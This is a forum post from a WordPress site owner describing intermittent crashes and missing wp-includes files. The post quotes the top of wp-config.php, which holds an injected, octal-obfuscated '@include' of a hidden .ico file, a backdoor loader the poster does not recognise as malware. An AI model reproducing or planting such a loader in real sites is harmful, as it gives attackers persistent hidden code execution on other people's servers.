Random wp-includes files going missing

I have a problem with my website crashing at intervals, usually about a week but sometimes longer. I then find that one or two wp-includes files are missing. If I replace them the website works again until the next time. I thought it was related to a backup plugin but the timing of the backups and the crashes don’t coincide. Not sure if it is related but there are (to me) some unexpected numbers at the beginning of the wp-config file, but that might be normal.

Like this:
<?php
/*a1542*/

@include “\057ho\155e/\167ur\154it\172e/\160ub\154ic\137ht\155l/\167p-\151nc\154ud\145s/\162es\164-a\160i/\05694\0701a\0667d\056ic\157”;

/*a1542*/

/**
* The base configurations of the WordPress.
*
* This file has the following configurations: MySQL settings, Table Prefix,etc etc

Any ideas? Thank you.